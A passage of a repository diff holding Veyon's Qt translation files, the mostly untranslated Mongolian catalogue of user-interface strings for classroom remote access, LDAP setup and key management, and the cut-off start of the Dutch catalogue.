Accessing computer: + + + + Please enter the following user and computer information in order to test the configured ruleset. + + + + Local user: + + + + Connected users: + + + + The access in the given scenario is allowed. + + + + The access in the given scenario is denied. + + + + The access in the given scenario needs permission of the logged on user. + + + + ERROR: Unknown action + + + + Test result + + + + + AuthKeysConfigurationPage + + Authentication keys + + + + Introduction + + + + Key file directories + + + + Public key file base directory + Нийтийн түлхүүрийг агуулсан сан + + + Private key file base directory + Хувийн түлхүүрийг агуулсан сан + + + ... + ... + + + Available authentication keys + + + + Create key pair + + + + Delete key + + + + Import key + + + + Export key + + + + Set access group + + + + Key files (*.pem) + + + + Authentication key name + + + + Please enter the name of the user group or role for which to create an authentication key pair: + + + + Do you really want to delete authentication key "%1/%2"? + + + + Please select a key to delete! + + + + Please enter the name of the user group or role for which to import the authentication key: + + + + Please select a key to export! + + + + Please select a user group which to grant access to key "%1": + + + + Please select a key which to set the access group for! + + + + Please perform the following steps to set up key file authentication: + + + + 1) Create a key pair on the master computer. + + + + 2) Set an access group whose members should be allowed to access other computers. + + + + 3) Export the public key and import it on all client computers with the same name. + + + + Please refer to the <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> for more information. + + + + An authentication key pair consist of two coupled cryptographic keys, a private and a public key. +A private key allows users on the master computer to access client computers. +It is important that only authorized users have read access to the private key file. +The public key is used on client computers to authenticate incoming connection request. + + + + + AuthKeysManager + + Please check your permissions. + + + + Key name contains invalid characters! + + + + Invalid key type specified! Please specify "%1" or "%2". + + + + Specified key does not exist! Please use the "list" command to list all installed keys. + + + + One or more key files already exist! Please delete them using the "delete" command. + + + + Creating new key pair for "%1" + + + + Failed to create public or private key! + + + + Newly created key pair has been saved to "%1" and "%2". + + + + Could not remove key file "%1"! + + + + Could not remove key file directory "%1"! + + + + Failed to create directory for output file. + + + + File "%1" already exists. + + + + Failed to write output file. + + + + Key "%1/%2" has been exported to "%3" successfully. + + + + Failed read input file. + + + + File "%1" does not contain a valid private key! + + + + File "%1" does not contain a valid public key! + + + + Failed to create directory for key file. + + + + Failed to write key file "%1". + + + + Failed to set permissions for key file "%1"! + + + + Key "%1/%2" has been imported successfully. Please check file permissions of "%3" in order to prevent unauthorized accesses. + + + + Failed to convert private key to public key + + + + Failed to create directory for private key file "%1". + + + + Failed to save private key in file "%1"! + + + + Failed to set permissions for private key file "%1"! + + + + Failed to create directory for public key file "%1". + + + + Failed to save public key in file "%1"! + + + + Failed to set permissions for public key file "%1"! + + + + Failed to set owner of key file "%1" to "%2". + + + + Failed to set permissions for key file "%1". + + + + Key "%1" is now accessible by user group "%2". + + + + <N/A> + + + + Failed to read key file. + + + + + AuthKeysPlugin + + Create new authentication key pair + + + + Delete authentication key + + + + List authentication keys + + + + Import public or private key + + + + Export public or private key + + + + Extract public key from existing private key + + + + Set user group allowed to access a key + + + + KEY + + + + ACCESS GROUP + + + + This command adjusts file access permissions to <KEY> such that only the user group <ACCESS GROUP> has read access to it. + + + + NAME + + + + This command creates a new authentication key pair with name <NAME> and saves private and public key to the configured key directories. + + + + This command deletes the authentication key <KEY> from the configured key directory. Please note that a key can't be recovered once deleted. + + + + FILE + + + + This command exports the authentication key <KEY> to <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command imports the authentication key <KEY> from <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command lists all available authentication keys in the configured key directory. If the option "%1" is specified a table with key details will be displayed instead. Some details might be missing if a key is not accessible e.g. due to the lack of read permissions. + + + + This command extracts the public key part from the private key <KEY> and saves it as the corresponding public key. + + + + Please specify the command to display help for! + + + + TYPE + + + + PAIR ID + + + + Command line support for managing authentication keys + + + + Commands for managing authentication keys + + + + + AuthKeysTableModel + + Name + Нэр + + + Type + Төрөл + + + Access group + + + + Pair ID + + + + + BuiltinDirectoryConfigurationPage + + Rooms & computers + + + + Rooms + + + + Computers + + + + Name + Нэр + + + Host address/IP + + + + MAC address + MAC хаяг + + + Add new room + + + + Remove selected room + + + + Add new computer + + + + Remove selected computer + + + + New room + + + + New computer + + + + Builtin directory + + + + + BuiltinDirectoryPlugin + + Show help for specific command + + + + Add a room or computer + + + + Clear all rooms and computers + + + + Dump all or individual rooms and computers + + + + List all rooms and computers + + + + Remove a room or computer + + + + Import objects from given file + + + + Export objects to given file + + + + Invalid type specified. Valid values are "%1" or "%2". + + + + Type + Төрөл + + + Name + Нэр + + + Host address + + + + MAC address + MAC хаяг + + + Specified object not found. + + + + File "%1" does not exist! + + + + Can't open file "%1" for reading! + + + + Unknown argument "%1". + + + + Room "%1" + + + + Computer "%1" (host address: "%2" MAC address: "%3") + + + + Unclassified object "%1" with ID "%2" + + + + None + + + + Room + + + + Computer + + + + Root + + + + Invalid + + + + Error while parsing line %1. + + + + Network object directory which stores objects in local configuration + + + + Builtin (computers and rooms in local configuration) + + + + Commands for managing the builtin network object directory + + + + No format string or regular expression specified! + + + + Can't open file "%1" for writing! + + + + No format string specified! + + + + +USAGE + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Export all objects to a CSV file: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Export all computers in a room to a CSV file: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + + + + +USAGE + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Adds an object where TYPE can be one of "%2" or "%3". PARENT can be specified by name or UUID. + +Examples: + +* Add a room: + + %1 add room "Room 01" + +* Add a computer to room "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + + + + +USAGE + +%1 remove <OBJECT> + +Removes the specified object from the directory. OBJECT can be specified by name or UUID. Removing a room will also remove all computers inside. + +Examples: + +* Remove a computer by name: + + %1 remove "Computer 01" + +* Remove an object by UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + + + + Object UUID + + + + Parent UUID + + + + +USAGE + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Import simple CSV file to a single room: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* Import CSV file with room name in first column: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Import text file with with key/value pairs using regular expressions: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Import arbitrarily formatted data: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + + + + + BuiltinUltraVncServer + + Builtin VNC server (UltraVNC) + + + + + BuiltinX11VncServer + + Builtin VNC server (x11vnc) + + + + + ComputerControlListModel + + Room: %1 + + + + Host/IP address: %1 + + + + Active features: %1 + + + + Online and connected + + + + Establishing connection + + + + Computer offline or switched off + + + + Service unreachable or not running + + + + Authentication failed or access denied + + + + Disconnected + + + + No user logged on + + + + Logged on user: %1 + + + + + ComputerControlServer + + %1 Service %2 at %3:%4 + + + + Authentication error + Баталгаажуулалтын алдаа + + + Remote access + + + + User "%1" at host "%2" is now accessing this computer. + + + + User "%1" at host "%2" attempted to access this computer but could not authenticate successfully! + + + + + ComputerManagementView + + Computer management + + + + Add room + + + + Save computer/user list + + + + Select output filename + + + + CSV files (*.csv) + + + + File error + + + + Could not write the computer and users list to %1! Please check the file access permissions. + + + + Computer search + + + + + ComputerManager + + User + + + + Missing network object directory plugin + + + + No default network object directory plugin was found. Please check your installation or configure a different network object directory backend via %1 Configurator. + + + + Computer name;Host name;User + + + + Room detection failed + + + + Could not determine the room which this computer belongs to. This indicates a problem with the system configuration. All rooms will be shown in the computer management instead. + + + + + ConfigCommandLinePlugin + + Please specify an existing configuration file to import. + + + + Please specify a valid filename for the configuration export. + + + + Please specify a valid key. + + + + Specified key does not exist in current configuration! + + + + Please specify a valid value. + + + + Configure Veyon at command line + + + + Output file is not writable! + + + + Output directory is not writable! + + + + Configuration file is not readable! + + + + Clear system-wide Veyon configuration + + + + List all configuration keys and values + + + + Import configuration from given file + + + + Export configuration to given file + + + + Read and output configuration value for given key + + + + Write given value to given configuration key + + + + Unset (remove) given configuration key + + + + Commands for managing the configuration of Veyon + + + + Upgrade and save configuration of program and plugins + + + + + ConfigurationManager + + Could not modify the autostart property for the %1 Service. + + + + Could not configure the firewall configuration for the %1 Server. + + + + Could not configure the firewall configuration for the %1 Worker. + + + + Could not change the setting for SAS generation by software. Sending Ctrl+Alt+Del via remote control will not work! + + + + Configuration is not writable. Please check your permissions! + + + + + DemoClient + + %1 Demo + + + + + DemoConfigurationPage + + Demo server + + + + Tunables + + + + ms + + + + Key frame interval + + + + Memory limit + + + + Use multithreading (experimental) + + + + MB + + + + Update interval + + + + s + + + + + DemoFeaturePlugin + + Fullscreen demo + Бүтэн дэлгэцээр харуулах + + + Stop demo + + + + Window demo + Дэлгэцээ харуулах + + + Give a demonstration by screen broadcasting + + + + Demo server + + + + In this mode your screen is being displayed in fullscreen mode on all computers while input devices of the users are locked. + + + + In this mode your screen being displayed in a window on all computers. The users are able to switch to other windows as needed. + + + + + DesktopAccessDialog + + Desktop access dialog + + + + Confirm desktop access + Дэлгэцийн хандалтийг зөвшөөрөх + + + Never for this session + Хэзээ ч энэ горимд биш + + + Always for this session + Байнга энэ горимд + + + The user %1 at computer %2 wants to access your desktop. Do you want to grant access? + + + + + DesktopServicesConfigurationPage + + Programs & websites + + + + Predefined programs + + + + Name + Нэр + + + Path + + + + Add new program + + + + Remove selected program + + + + Predefined websites + + + + Remove selected website + + + + URL + + + + New program + + + + New website + + + + + DesktopServicesFeaturePlugin + + Run program + + + + Open website + + + + Click this button to open a website on all computers. + + + + Please enter the URL of the website to open: + + + + Start programs and services in user desktop + + + + Click this button to run a program on all computers. + + + + Run program "%1" + + + + Custom program + + + + Open website "%1" + + + + Custom website + + + + + ExternalVncServer + + External VNC server + + + + + ExternalVncServerConfigurationWidget + + External VNC server configuration + + + + Port: + + + + Password: + + + + + FeatureControl + + Feature control + + + + + FileTransferController + + Could not open file "%1" for reading! Please check your permissions! + + + + + FileTransferDialog + + File transfer + + + + Options + + + + Transfer only + + + + Transfer and open file(s) with associated program + + + + Transfer and open destination folder + + + + Files + + + + Start + + + + Overwrite existing files + + + + + FileTransferPlugin + + File transfer + + + + Click this button to transfer files from your computer to all computers. + + + + Select one or more files to transfer + + + + Transfer files to remote computer + + + + Received file "%1". + + + + Could not receive file "%1" as it already exists. + + + + Could not receive file "%1" as it could not be opened for writing! + + + + + GeneralConfigurationPage + + User interface + Хэрэглэгчийн интерфейс + + + Language: + Хэл: + + + Use system language setting + + + + Veyon + + + + Logging + Бүргэж байна + + + Log file directory + Нэвтрэх файлын сан + + + ... + ... + + + Log level + Нэвтрэх түвшин + + + Nothing + Идэвхгүй + + + Only critical messages + Зөвхөн чухал мессежүүд + + + Errors and critical messages + Алдаанууд болон чухал мессежүүд + + + Warnings and errors + Анхааруулгууд ба алдаанууд + + + Information, warnings and errors + Мэдээллүүд, анхааруулгууд болон алдаанууд + + + Debug messages and everything else + Алдааны репорт болон бүх зүйл + + + Limit log file size + Бүртгэлийн файлын хэмжээний хязгаар + + + Clear all log files + Бүх бүртгэлийн файлыг устгах + + + Log to standard error output + Нэвтрэх үеийн энгийн алдааны гаралт + + + Network object directory + + + + Backend: + + + + Update interval: + + + + %1 service + + + + The %1 service needs to be stopped temporarily in order to remove the log files. Continue? + + + + Log files cleared + Нэвтрэх файлууд устгагдсан + + + All log files were cleared successfully. + Бүх нэвтрэх файлууд амжилттай устгагдлаа. + + + Error + Алдаа + + + Could not remove all log files. + Бүх бүртгэлийн файлуудыг устгаж чадсангүй. + + + MB + + + + Rotate log files + + + + x + + + + seconds + + + + Write to logging system of operating system + + + + Authentication + Баталгаажуулалт + + + Method: + + + + Logon authentication + Нэвтрэлт танилт + + + Key file authentication + Түлхүүр файлын баталгаажуулалт + + + + InternetAccessControlConfigurationPage + + Internet access control + + + + Backend: + + + + General settings + + + + Backend settings + + + + + InternetAccessControlPlugin + + Block access to the internet + + + + Allow access to the internet + + + + Show help about command + + + + Block internet + + + + Click this button to block access to the internet. + + + + Unblock internet + + + + Click this button to allow access to the internet. + + + + Control access to the internet + + + + Commands for controlling access to the internet + + + + + LdapBrowseDialog + + Browse LDAP + + + + + LdapClient + + LDAP error description: %1 + + + + No LDAP error description available + + + + + LdapConfigurationPage + + LDAP + + + + Basic settings + + + + General + Ерөнхий + + + LDAP server and port + + + + Bind DN + + + + Bind password + + + + Anonymous bind + + + + Use bind credentials + + + + Test + Тест + + + Base DN + + + + Fixed base DN + + + + e.g. dc=example,dc=org + + + + Discover base DN by naming context + + + + e.g. namingContexts or defaultNamingContext + + + + Environment settings + + + + Object trees + + + + Computer tree + + + + e.g. OU=Groups + + + + User tree + + + + e.g. OU=Users + + + + e.g. OU=Computers + + + + Group tree + + + + Perform recursive search operations in object trees + + + + Object attributes + + + + e.g. hwAddress + + + + Computer host name attribute + + + + e.g. member or memberUid + + + + User login attribute + + + + e.g. dNSHostName + + + + Computer MAC address attribute + + + + Group member attribute + + + + e.g. uid or sAMAccountName + + + + Host names stored as fully qualified domain names (FQDN, e.g. myhost.example.org) + + + + Advanced settings + + + + Optional object filters + + + + Filter for user groups + + + + Filter for users + + + + Filter for computer groups + + + + Group member identification + + + + Distinguished name (Samba/AD) + + + + Configured attribute for user login or computer host name (OpenLDAP) + + + + List all groups of a user + + + + List all groups of a computer + + + + Get computer object by IP address + + + + LDAP connection failed + + + + LDAP bind failed + + + + LDAP bind successful + + + + Successfully connected to the LDAP server and performed an LDAP bind. The basic LDAP settings are configured correctly. + + + + LDAP base DN test failed + + + + LDAP base DN test successful + + + + LDAP naming context test failed + + + + LDAP naming context test successful + + + + The LDAP naming context has been queried successfully. The following base DN was found: +%1 + + + + user tree + + + + group tree + + + + computer tree + + + + Enter username + + + + Please enter a user login name (wildcards allowed) which to query: + + + + user objects + + + + user login attribute + + + + Enter group name + + + + Please enter a group name whose members to query: + + + + group members + + + + group member attribute + + + + Group not found + + + + Could not find a group with the name "%1". Please check the group name or the group tree parameter. + + + + Enter computer name + + + + Please enter a computer host name to query: + + + + Invalid host name + + + + You configured computer host names to be stored as fully qualified domain names (FQDN) but entered a host name without domain. + + + + You configured computer host names to be stored as simple host names without a domain name but entered a host name with a domain name part. + + + + computer objects + + + + computer host name attribute + + + + Enter computer DN + + + + Please enter the DN of a computer whose MAC address to query: + + + + computer MAC addresses + + + + computer MAC address attribute + + + + users + + + + user groups + + + + computer groups + + + + Please enter a user login name whose group memberships to query: + + + + groups of user + + + + user login attribute or group membership attribute + + + + User not found + + + + Could not find a user with the name "%1". Please check the user name or the user tree parameter. + + + + Enter host name + + + + Please enter a computer host name whose group memberships to query: + + + + groups of computer + + + + computer host name attribute or group membership attribute + + + + Computer not found + + + + Could not find a computer with the host name "%1". Please check the host name or the computer tree parameter. + + + + Enter computer IP address + + + + Please enter a computer IP address which to resolve to an computer object: + + + + Host name lookup failed + + + + Could not lookup host name for IP address %1. Please check your DNS server settings. + + + + computers + + + + LDAP %1 test failed + + + + Could not query any entries in configured %1. Please check the %1 parameter. + +%2 + + + + LDAP %1 test successful + + + + The %1 has been queried successfully and %2 entries were found. + + + + Could not query any %1. Please check the %2 parameter or enter the name of an existing object. + +%3 + + + + %1 %2 have been queried successfully: + +%3 + + + + LDAP filter test failed + + + + Could not query any %1 using the configured filter. Please check the LDAP filter for %1. + +%2 + + + + LDAP filter test successful + + + + %1 %2 have been queried successfully using the configured filter. + + + + (only if different from group tree) + + + + Computer group tree + + + + computer group tree + + + + Filter for computers + + + + e.g. room or computerLab + + + + List all members of a computer room + + + + List all computer rooms + + + + Enter computer room name + + + + Please enter the name of a computer room (wildcards allowed): + + + + computer rooms + + + + computer room attribute + + + + Please enter the name of a computer room whose members to query: + + + + computer room members + + + + computer group filter or computer room member aggregation + + + + Computer rooms + + + + Integration tests + + + + Computer room attribute + + + + Aggregate computers in a room via: + + + + Computer groups + + + + Computer room attribute in computer objects + + + + Test not applicable + + + + Computer room name attribute + + + + e.g. name or description + + + + Filter for computer containers + + + + Computer containers or OUs + + + + Please change the computer room settings to use computer groups or computer containers as computer rooms. Then the specified attribute instead of the common name of computer groups or container objects will be queried. Otherwise you don't need to configure this attribute. + + + + Please change the computer room settings below to use computer containers as computer rooms. Otherwise you don't need to configure this filter. + + + + Connection security + + + + TLS certificate verification + + + + System defaults + + + + Never (insecure!) + + + + Custom CA certificate file + + + + None + + + + TLS + + + + SSL + + + + e.g. (objectClass=computer) + + + + e.g. (objectClass=group) + + + + e.g. (objectClass=person) + + + + e.g. (objectClass=room) or (objectClass=computerLab) + + + + e.g. (objectClass=container) or (objectClass=organizationalUnit) + + + + Could not query the configured base DN. Please check the base DN parameter. + +%1 + + + + The LDAP base DN has been queried successfully. The following entries were found: + +%1 + + + + Could not query the base DN via naming contexts. Please check the naming context attribute parameter. + +%1 + + + + Certificate files (*.pem) + + + + Could not connect to the LDAP server. Please check the server parameters. + +%1 + + + + Could not bind to the LDAP server. Please check the server parameters and bind credentials. + +%1 + + + + Encryption protocol + + + + + LdapPlugin + + Auto-configure the base DN via naming context + + + + Query objects from LDAP directory + + + + Show help about command + + + + Commands for configuring and testing LDAP/AD integration + + + + Provide LDAP/AD integration for Veyon + + + + LDAP (load computers and rooms from LDAP/AD) + + + + LDAP (load users and groups from LDAP/AD) + + + + + LicensingConfigurationPage + + Licensing + + + + Installed licenses + + + + Add new network range + + + + Remove selected network range + + + + ID + + + + Feature + + + + Valid until + + + + Licensee + + + + Browse license file + + + + Veyon license files (*.vlf) + + + + Remove license + + + + Do you really want to remove the selected license? + + + + <N/A> + + + + Invalid license file + + + + Could not open the license file for reading! + + + + The selected license file does not contain valid data. + + + + The selected license file could not be verified. + + + + The selected license file is not valid for this installation. + + + + The selected license file is expired. + + + + The license is already installed. + + + + + LicensingPlugin + + Show help for specific command + + + + Show all installed licenses + + + + Add license file + + + + Remove installed license + + + + +USAGE + +%1 add <LICENSE FILE> + + + + + + +USAGE + +%1 remove <LICENSE ID> + + + + + + No certificate found with given ID + + + + <N/A> + + + + Licensing management + + + + Commands for managing license keys + + + + + LinuxPlatformPlugin + + Plugin implementing abstract functions for the Linux platform + + + + + MainToolBar + + Configuration + + + + Disable balloon tooltips + + + + Show icons only + + + + + MainWindow + + MainWindow + Үндсэн Цонх + + + toolBar + Багажны хэсэг + + + General + Ерөнхий + + + &File + &Файл + + + &Help + &Тусламж + + + &Quit + &Гарах + + + Ctrl+Q + Ctrl+Q + + + Ctrl+S + Ctrl+S + + + L&oad settings from file + Т&охиргоог файлаас унших + + + Ctrl+O + CTRL+O + + + About Qt + Qt-ын тухай + + + Authentication impossible + Өөрийгөө таниулан нэвтэрч чадахгүй байна + + + Configuration not writable + Тохиргоо бичигдэх боломжгүй + + + Load settings from file + Тохиргоог файлаас унших + + + Save settings to file + Тохиргоог файлд хадгалах + + + Unsaved settings + Хадгалагдаагүй тохиргоо + + + There are unsaved settings. Quit anyway? + Тохиргоо хадгалагдаагүй байна. Шууд гарах уу? + + + Veyon Configurator + + + + Service + + + + Master + + + + Access control + + + + About Veyon + + + + Auto + + + + Computer rooms + + + + About + Тухай + + + %1 Configurator %2 + + + + JSON files (*.json) + + + + The local configuration backend reported that the configuration is not writable! Please run the %1 Configurator with higher privileges. + + + + No authentication key files were found or your current ones are outdated. Please create new key files using the %1 Configurator. Alternatively set up logon authentication using the %1 Configurator. Otherwise you won't be able to access computers using %1. + + + + Access denied + + + + According to the local configuration you're not allowed to access computers in the network. Please log in with a different account or let your system administrator check the local configuration. + + + + Screenshots + + + + Feature active + + + + The feature "%1" is still active. Please stop it before closing %2. + + + + Reset configuration + + + + Do you really want to reset the local configuration and revert all settings to their defaults? + + + + Search users and computers + + + + Adjust optimal size + + + + Align computers to grid + + + + Use custom computer placement + + + + %1 Configurator + + + + Insufficient privileges + + + + Could not start with administrative privileges. Please make sure a sudo-like program is installed for your desktop environment! The program will be run with normal user privileges. + + + + Only show powered on computers + + + + &Save settings to file + + + + &View + + + + &Standard + + + + &Advanced + + + + + MasterConfigurationPage + + Directories + Каталоги + + + ... + ... + + + User configuration + + + + Feature on computer double click: + + + + Automatically switch to current room at start + + + + Features + + + + All features + + + + Disabled features + + + + Perform access control at program start + + + + Screenshots + + + + <no feature> + + + + Automatically adjust computer thumbnail size at start + + + + Basic settings + + + + Behaviour + + + + Enforce selected mode for client computers + + + + Only show current room + + + + Allow adding rooms manually + + + + Hide local computer + + + + Hide empty rooms + + + + Hide computer filter field + + + + Actions such as rebooting or powering down computers + + + + Show confirmation dialog for potential dangerous actions + + + + User interface + Хэрэглэгчийн интерфейс + + + Background color + + + + Thumbnail update interval + + + + ms + + + + Program start + + + + Modes and features + + + + User and computer name + + + + Only user name + + + + Only computer name + + + + Computer thumbnail caption + + + + Computer rooms + + + + Automatically open computer rooms widget + + + + Text color + + + + Sort order + + + + Computer and user name + + + + + MonitoringMode + + Monitoring + + + + Builtin monitoring mode + + + + This is the default mode and allows you to monitor all computers in one or more rooms. + + + + + NetworkDiscoveryConfigurationPage + + Network discovery + + + + Mode + + + + Scan network ranges + + + + e.g. 192.168.1.0/24 + + + + Scan all subnets of computer + + + + Scan custom subnet + + + + Scan sessions on local computer + + + + Test + Тест + + + Network ranges + + + + Add new group + + + + Remove selected group + + + + Groups + + + + First address + + + + Last address + + + + Add new network range + + + + Remove selected network range + + + + Parallel scans + + + + Scan timeout + + + + ms + + + + Session scan limit + + + + New group + + + + Options + + + + Reverse lookup discovered IP addresses to host names + + + + + NetworkDiscoveryDirectory + + Scanning... + + + + Discovered computers + + + + + NetworkDiscoveryPlugin + + Show help for specific command + + + + Scan a subnet + + + + +USAGE + +%1 scan [<SUBNET>] + + + + + + Network object directory which automatically discovers computers in the network + + + + Network discovery (scan network for Veyon clients) + + + + Commands for managing the network discovery directory + + + + + NetworkObjectTreeModel + + Room/Computer + + + + + PasswordDialog + + Username + Хэрэглэгчийн нэр + + + Password + Нууц үг + + + Veyon Logon + + + + Authentication error + + + + Logon failed with given username and password. Please try again! + + + + Please enter your username and password in order to access computers. + + + + + PowerControlFeaturePlugin + + Power on + Асаах + + + Click this button to power on all computers. This way you do not have to power on each computer by hand. + + + + Reboot + Дахин ачааллах + + + Click this button to reboot all computers. + + + + Power down + Унтраах + + + Click this button to power down all computers. This way you do not have to power down each computer by hand. + + + + Power on/down or reboot a computer + + + + Confirm reboot + + + + Confirm power down + + + + Do you really want to reboot the selected computers? + + + + Do you really want to power down the selected computer? + + + + Power on a computer via Wake-on-LAN (WOL) + + + + MAC ADDRESS + + + + This command broadcasts a Wake-on-LAN (WOL) packet to the network in order to power on the computer with the given MAC address. + + + + Please specify the command to display help for! + + + + Invalid MAC address specified! + + + + Commands for controlling power status of computers + + + + + RemoteAccessFeaturePlugin + + Remote view + + + + Open a remote view for a computer without interaction. + + + + Remote control + Алсын удирдлага + + + Open a remote control window for a computer. + + + + Remote access + + + + Remote view or control a computer + + + + Please enter the hostname or IP address of the computer to access: + + + + Show help about command + + + + + RemoteAccessWidget + + %1 - %2 Remote Access + + + + + RemoteAccessWidgetToolBar + + View only + Зөвхөн харах + + + Remote control + Алсын удирдлага + + + Send shortcut + + + + Fullscreen + Бүтэн дэлгэц + + + Window + Цонх + + + Quit + Гарах + + + Ctrl+Alt+Del + + + + Ctrl+Esc + + + + Alt+Tab + + + + Alt+F4 + + + + Win+Tab + + + + Win + + + + Menu + + + + Alt+Ctrl+F1 + + + + Connecting %1 + Холбогдож байна %1 + + + Connected. + Холбогдсон. + + + Screenshot + + + + + RoomSelectionDialog + + Room selection + + + + enter search filter... + + + + + Routing + + Control internet access by modifying routing table + + + + + RoutingConfigurationWidget + + Remove default routes to block internet access + + + + Add custom route to block internet + + + + Destination + + + + Gateway + + + + + RunProgramDialog + + Please enter the programs or commands to run on the selected computer(s). You can separate multiple programs/commands by line. + + + + Run programs + + + + e.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + + + + + ScreenLockFeaturePlugin + + Lock + + + + Unlock + + + + Lock screen and input devices of a computer + + + + To reclaim all user's full attention you can lock their computers using this button. In this mode all input devices are locked and the screens are blacked. + + + + + Screenshot + + unknown + + + + Could not take a screenshot as directory %1 doesn't exist and couldn't be created. + + + + Screenshot + + + + + ScreenshotFeaturePlugin + + Screenshot + + + + Use this function to take a screenshot of selected computers. + + + + Screenshots taken + + + + Screenshot of %1 computer have been taken successfully. + + + + Take screenshots of computers and save them locally. + + + + + ScreenshotManagementView + + User: + + + + Date: + + + + Time: + + + + Show + + + + Delete + + + + All screenshots taken by you are listed here. You can take screenshots by clicking the "Screenshot" item in the context menu of a computer. The screenshots can be managed using the buttons below. + + + + Computer: + + + + + ServiceConfigurationPage + + General + Ерөнхий + + + Autostart + Автоматаар эхлэх + + + Hide tray icon + Тавиурын дүрсийг нуух + + + Start service + Сервисийг эхлүүлэх + + + Stopped + Зогссон + + + Stop service + Сервисийг зогсоох + + + State: + Төлөв: + + + Enable SAS generation by software (Ctrl+Alt+Del) + + + + Network + Сүлжээ + + + Demo server port + Демо серверийн порт + + + Enable firewall exception + Онцгой хамгаалалтыг идэвхжүүлэх + + + Allow connections from localhost only + Зөвхөн дотоод холболтууддаа зөвшөөрөх + + + Internal VNC server port + + + + VNC server + + + + Plugin: + + + + Restart %1 Service + + + + All settings were saved successfully. In order to take effect the %1 service needs to be restarted. Restart it now? + + + + Running + Ажиллуулах + + + Feature manager port + + + + Primary service port + + + + Enabling this option will make the service launch a server process for every interactive session on a computer. +Typically this is required to support terminal servers. + + + + Multi session support (experimental) + + + + Show notification on remote connection + + + + Show notification on failed authentication attempts + + + + + ServiceControl + + Starting service %1 + + + + Stopping service %1 + + + + Registering service %1 + + + + Unregistering service %1 + + + + Service control + + + + + ServiceControlPlugin + + Service is running + + + + Service is not running + + + + Configure and control Veyon service + + + + Register Veyon Service + + + + Unregister Veyon Service + + + + Start Veyon Service + + + + Stop Veyon Service + + + + Restart Veyon Service + + + + Query status of Veyon Service + + + + Commands for configuring and controlling Veyon Service + + + + + ShellCommandLinePlugin + + Run command file + + + + File "%1" does not exist! + + + + Interactive shell and script execution for Veyon Control + + + + Commands for shell functionalities + + + + + SystemTrayIcon + + System tray icon + + + + + SystemUserGroupsPlugin + + User groups backend for system user groups + + + + Default (system user groups) + + + + + TextMessageDialog + + Send text message + Текст мессеж илгээх + + + Use the field below to type your message which will be sent to all selected users. + Доорх талбарт бүх сонгогдсон хэрэглэгчдэд илгээх мессежээ бичнэ. + + + + TextMessageFeaturePlugin + + Text message + Текст мессеж + + + Use this function to send a text message to all users e.g. to assign them new tasks. + + + + Message from teacher + Багшаас мессеж ирлээ + + + Send a message to a user + + + + + UltraVncConfigurationWidget + + Enable capturing of layered (semi-transparent) windows + Үечилсэн бичилтийг идэвхжүүлэх(хагас-тодорхой) + + + Poll full screen (leave this enabled per default) + Бүтэн дэлгэцээрх санал асуулга(үүнийг идэвхтэйгээр орхих хэрэгтэй) + + + Low accuracy (turbo mode) + Бага нарийвчлал (өндөр хурдтай) + + + Builtin UltraVNC server configuration + + + + Enable multi monitor support + + + + Enable Desktop Duplication Engine on Windows 8 and newer + + + + + UserConfig + + No write access + Бичих эрх байхгүй + + + Could not save your personal settings! Please check the user configuration file path using the %1 Configurator. + + + + + UserSessionControl + + User session control + + + + Click this button to logout users from all computers. + + + + Confirm user logout + + + + Do you really want to logout the selected users? + + + + Logout + + + + + VeyonCore + + [OK] + + + + [FAIL] + + + + Invalid command! + + + + Available commands: + + + + Invalid arguments given + + + + Not enough arguments given - use "%1 help" for more information + + + + Unknown result! + + + + Available modules: + + + + No module specified or module not found - available modules are: + + + + Plugin not licensed + + + + INFO + + + + ERROR + + + + licensed for + + + + + VeyonServiceControl + + Veyon Service + + + + + VncView + + Establishing connection to %1 ... + Үүлчилгээг бүртгүүлэх боломжгүй %1 ... + + + + WindowsPlatformPlugin + + Plugin implementing abstract functions for the Windows platform + + + + + WindowsServiceControl + + WindowsServiceControl: the service "%1" is already installed. + + + + WindowsServiceControl: the service "%1" could not be installed. + + + + WindowsServiceControl: the service "%1" has been installed successfully. + + + + WindowsServiceControl: the service "%1" could not be uninstalled. + + + + WindowsServiceControl: the service "%1" has been uninstalled successfully. + + + + WindowsServiceControl: the start type of service "%1" could not be changed. + + + + WindowsServiceControl: service "%1" could not be found. + + + + + X11VncConfigurationWidget + + Builtin x11vnc server configuration + + + + Custom x11vnc parameters: + + + + Do not use X Damage extension + + + + \ No newline at end of file diff --git a/translations/nl.ts b/translations/nl.ts new file mode 100644 index 0000000..a6a168c --- /dev/null +++ b/translations/nl.ts @@ -0,0 +1,3826 @@ + + + AboutDialog + + About + Over + + + Translation + Vertaling + + + License + Licentie + + + About Veyon + Over Veyon + + + Contributors + Bijdragers + + + Version: + Versie + + + Website: + Website: + + + Current language not translated yet (or native English). + +If you're interested in translating Veyon into your local or another language or want to improve an existing translation, please contact a Veyon developer! + Huidige taal is nog niet vertaald (of in moedertaal English). + +Als je geïnteresseerd bent in het vertalen van Veyon in je eigen taal of een andere taal of de vertaling wilt verbeteren, neem dan contact op met een Veyon ontwikkelaar! + + + About %1 %2 + Over %1 %2 + + + Support Veyon project with a donation + Steun het Veyon project met een gift + + + + AccessControlPage + + Computer access control + Computer toegangscontrole + + + Grant access to every authenticated user (default) + Verleen toegang aan elke geauthenticeerde gebruiker (standaard) + + + Test + Test + + + Restrict access to members of certain user groups + Beperk toegang tot 